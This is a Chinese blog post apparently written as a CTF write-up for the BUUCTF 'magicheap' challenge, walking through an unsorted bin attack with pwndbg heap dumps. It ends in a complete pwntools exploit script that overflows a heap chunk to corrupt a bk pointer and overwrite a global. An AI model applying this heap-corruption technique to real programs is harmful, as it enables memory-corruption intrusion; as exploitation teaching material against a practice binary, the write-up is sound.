美文网首页
unsorted bin attack:

unsorted bin attack:

作者: cnitlrt | 来源:发表于2020-02-26 18:57 被阅读0次

    Unsorted bin attack漏洞攻击

    checksec:

    [*] '/mnt/c/users/cnitl/desktop/buuctf/magicheap'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    64位动态链接开启了canary和nx保护

    基本功能

    程序大概就是自己写的堆管理器,主要有以下功能

    1. 创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
    2. 编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。
    3. 删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。

    同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。

    利用

    很显然, 我们直接利用 unsorted bin attack 即可。

    1. 释放一个堆块到 unsorted bin 中。
    2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
    3. 触发漏洞即可。

    我们来看一下主要的过程

    FIST STEP

    create_heap(0x20, "dada")  # 0
    create_heap(0x80, "dada")  # 1
    create_heap(0x20, "dada")  # 2
    
    
    pwndbg> heap
    0x603000 FASTBIN {                  <---idx0
      prev_size = 0, 
      size = 33, 
      fd = 0x6161616161616161, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x91
    }
    0x603020 PREV_INUSE {         <----idx1
      prev_size = 0, 
      size = 145, 
      fd = 0x6161616161616161, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    0x6030b0 FASTBIN {            <----idx2
      prev_size = 0, 
      size = 33, 
      fd = 0x6161616161616161, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x20f31
    }
    0x6030d0 PREV_INUSE {
      prev_size = 0, 
      size = 134961, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    
    
    pwndbg> x/32gx 0x603000
    0x603000:   0x0000000000000000  0x0000000000000021
    0x603010:   0x6161616161616161  0x000000000000000a
    0x603020:   0x0000000000000000  0x0000000000000091
    0x603030:   0x6161616161616161  0x000000000000000a
    0x603040:   0x0000000000000000  0x0000000000000000
    0x603050:   0x0000000000000000  0x0000000000000000
    0x603060:   0x0000000000000000  0x0000000000000000
    0x603070:   0x0000000000000000  0x0000000000000000
    0x603080:   0x0000000000000000  0x0000000000000000
    0x603090:   0x0000000000000000  0x0000000000000000
    0x6030a0:   0x0000000000000000  0x0000000000000000
    0x6030b0:   0x0000000000000000  0x0000000000000021
    0x6030c0:   0x6161616161616161  0x000000000000000a
    0x6030d0:   0x0000000000000000  0x0000000000020f31
    0x6030e0:   0x0000000000000000  0x0000000000000000
    0x6030f0:   0x0000000000000000  0x0000000000000000
    

    SECOND STEP:

    del_heap(1)
    new(0x80,"aaaa")
    
    unsortedbin
    all [corrupted]
    FD: 0x603020 ◂— 0x0
    BK: 0x603020 —▸ 0x602090 (stdin@@GLIBC_2.2.5) ◂— 0x0
    

    此时可以很清楚的看到,bk指针已经被我们改成我们想要的地址了
    然后我们查看一下那个地址的值

    0x6020a0 <magic>:   0x0000000000000000  0x0000000000000000
    

    发现还是为0

    THIRD STEP:

    接下来我们申请回来,此时值应该会变为main_arena+88处的值:

    <magic>:    0x00007ffff7dd1b78  0x0000000000000000
    

    发现已经成功的修改为一个大值,我们还发现此时0x6020a0-0x3处的值为:

    pwndbg> x/32gx 0x602090-0x3
    0x60208d:   0xfff7dd18e0000000  0x000000000000007f
    

    通过这个我们便可以配合fastbin attack来获取shell

    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    
    r = process('./magicheap')
    
    
    def create_heap(size, content):
        r.recvuntil(":")
        r.sendline("1")
        r.recvuntil(":")
        r.sendline(str(size))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def edit_heap(idx, size, content):
        r.recvuntil(":")
        r.sendline("2")
        r.recvuntil(":")
        r.sendline(str(idx))
        r.recvuntil(":")
        r.sendline(str(size))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def del_heap(idx):
        r.recvuntil(":")
        r.sendline("3")
        r.recvuntil(":")
        r.sendline(str(idx))
    
    
    create_heap(0x20, "dada")  # 0
    create_heap(0x80, "dada")  # 1
    # in order not to merge into top chunk
    create_heap(0x20, "dada")  # 2
    
    del_heap(1)
    
    magic = 0x6020a0
    fd = 0
    bk = magic - 0x10
    
    edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
    create_heap(0x80, "dada")  #trigger unsorted bin attack
    r.recvuntil(":")
    r.sendline("4869")
    r.interactive()
    

    相关文章

      网友评论

          本文标题:unsorted bin attack:

          本文链接:https://www.haomeiwen.com/subject/jckichtx.html